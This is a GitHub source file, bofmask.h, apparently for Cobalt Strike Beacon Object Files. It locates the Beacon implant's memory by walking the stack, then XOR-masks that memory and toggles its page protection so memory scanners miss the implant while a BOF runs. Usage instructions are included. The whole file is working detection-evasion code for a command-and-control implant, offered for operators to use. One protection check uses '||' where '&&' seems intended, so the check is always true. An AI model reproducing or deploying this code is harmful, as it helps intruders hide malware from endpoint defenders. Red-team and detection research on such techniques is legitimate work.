-
Notifications
You must be signed in to change notification settings - Fork 26
/
bofmask.h
129 lines (107 loc) · 5.85 KB
/
bofmask.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include <windows.h>
#include <stdlib.h> //Need this for generating the mask
#include <time.h> //Need this for generating the mask
#include "beacon.h"
#define BOFMASK_DEBUG 1
/*
This is a Header file to include in your BOFs that allows for masking Beacon in memory during BOF execution. If your BOF triggers a memory scan, this will hopefully prevent the scanner from finding Beacon in memory.
USAGE: You can use this by calling GetBeaconBaseAddress to populate the global variables, and then using MaskBeacon/UnmaskBeacon to toggle the mask. You can toggle the mask at any point to call Beacon API functions before remasking.
//Below is an example main BOF function.
void go(char* args, int length){
//YOUR CODE HERE, YOU MUST CALL ANY ARGUMENT UNPACKING FUNCTIONS BEFORE CALLING MaskBeacon
GetBeaconBaseAddress();
MaskBeacon();
//YOUR CODE HERE
//DO NOT CALL ANY BEACON APIS BETWEEN MASKING AND UNMASKING!!!!! IT WILL KILL YOUR BEACON!!!!!
UnmaskBeacon();
//YOUR CODE HERE, YOU CAN NOW CALL BEACON APIS AGAIN
}
*/
//Can change this if you want a smaller or larger mask key
#define MASK_SIZE 13
//Need to do it like this so it doesn't go into the .bss section
void* bRBP __attribute__((section(".data"))) = NULL;
void* bRIP __attribute__((section(".data"))) = NULL;
void* bRSP __attribute__((section(".data"))) = NULL;
//Using globals to keep track of these
DWORD BOFMaskOldProtect __attribute__((section(".data"))) = 0; //For our VirtualProtect calls
char* beaconBaseAddress __attribute__((section(".data"))) = NULL; //The base address of the entire Beacon allocation
SIZE_T beaconSize __attribute__((section(".data"))) = 0; //The size of the entire Beacon allocation
unsigned char mask[MASK_SIZE];
void ApplyMask();
void MaskBeacon();
void UnmaskBeacon();
void GetBeaconBaseAddress();
//Functions we need for masking
WINBASEAPI void* WINAPI MSVCRT$malloc(size_t size);
WINBASEAPI void* WINAPI MSVCRT$memcpy(void* destination, const void* source, size_t num);
WINBASEAPI SIZE_T WINAPI KERNEL32$VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
//Functions for generating our mask
WINBASEAPI time_t WINAPI MSVCRT$time(time_t *seconds);
WINBASEAPI void WINAPI MSVCRT$srand(unsigned int seed);
WINBASEAPI int WINAPI MSVCRT$rand(void);
//Apply an XOR mask to a beacon
void ApplyMask() {
DWORD start = 0;
while (start < beaconSize) {
*(beaconBaseAddress + start) ^= mask[start % MASK_SIZE];
start++;
}
}
//Set RW protection on beacon and mask
void MaskBeacon() {
KERNEL32$VirtualProtect(beaconBaseAddress, beaconSize, PAGE_READWRITE, &BOFMaskOldProtect);
ApplyMask();
}
//Unmask and revert beacon to old protection
void UnmaskBeacon() {
ApplyMask();
KERNEL32$VirtualProtect(beaconBaseAddress, beaconSize, BOFMaskOldProtect, &BOFMaskOldProtect);
}
//Find Beacon's base address by getting the return address and calling VirtualQuery to find the base address and size of the allocation
void GetBeaconBaseAddress(){
//Generate our mask
//Note: you can roughly halve the size of this BOF by removing the stdlib functions and using a static key instead
MSVCRT$srand((unsigned int) MSVCRT$time (NULL));
for(int i = 0; i < MASK_SIZE; i++){
mask[i] = MSVCRT$rand();
}
//Walk the stack frame to get Beacon's RIP
__asm__(
"mov r8, [rbp] \n"
"mov rcx, [r8] \n"
"mov rdx, [r8+0x8] \n"
"mov rax, r8 \n"
:"=r" (bRBP),
"=r" (bRIP),
"=r" (bRSP)
);
//Get information about Beacon's base address from the return address
PMEMORY_BASIC_INFORMATION beaconMemoryInfo = MSVCRT$malloc(sizeof(MEMORY_BASIC_INFORMATION));
KERNEL32$VirtualQuery(bRIP, beaconMemoryInfo, sizeof(MEMORY_BASIC_INFORMATION));
#ifdef BOFMASK_DEBUG
BeaconPrintf(CALLBACK_OUTPUT, "Base address for current Beacon page: %p", beaconMemoryInfo->BaseAddress);
BeaconPrintf(CALLBACK_OUTPUT, "Base allocation for current Beacon page: %p", beaconMemoryInfo->AllocationBase);
#endif
//Now get information about the whole allocated region for beacon
PMEMORY_BASIC_INFORMATION beaconAllocationInfo = MSVCRT$malloc(sizeof(MEMORY_BASIC_INFORMATION));
KERNEL32$VirtualQuery(beaconMemoryInfo->AllocationBase, beaconAllocationInfo, sizeof(MEMORY_BASIC_INFORMATION));
//Set our global variables assuming they're correct, we'll update them later if not
beaconBaseAddress = beaconAllocationInfo->AllocationBase;
beaconSize = beaconAllocationInfo->RegionSize;
//If the correct memory permissions are set then we'll need to skip the NT header to find the .text section
if(beaconAllocationInfo->Protect != PAGE_EXECUTE_READ || beaconAllocationInfo->Protect != PAGE_EXECUTE_READWRITE){
KERNEL32$VirtualQuery((ULONG_PTR)beaconAllocationInfo->AllocationBase + beaconAllocationInfo->RegionSize, beaconAllocationInfo, sizeof(MEMORY_BASIC_INFORMATION));
//Verify that our Beacon page is within our suspected .text section
if(beaconMemoryInfo->BaseAddress > beaconAllocationInfo->AllocationBase && beaconMemoryInfo->BaseAddress < (ULONG_PTR)beaconAllocationInfo->AllocationBase + beaconAllocationInfo->RegionSize){
//Update our global variables
beaconBaseAddress = beaconAllocationInfo->BaseAddress;
beaconSize = beaconAllocationInfo->RegionSize;
}
}
#ifdef BOFMASK_DEBUG
BeaconPrintf(CALLBACK_OUTPUT, "Base address of Beacon's .text section: %p, Size: %d, Base allocation: %p, Protect: %x, State: %x, Type: %x", beaconAllocationInfo->BaseAddress, beaconAllocationInfo->RegionSize, beaconAllocationInfo->AllocationBase, beaconAllocationInfo->Protect, beaconAllocationInfo->State, beaconAllocationInfo->Type);
#endif
return;
}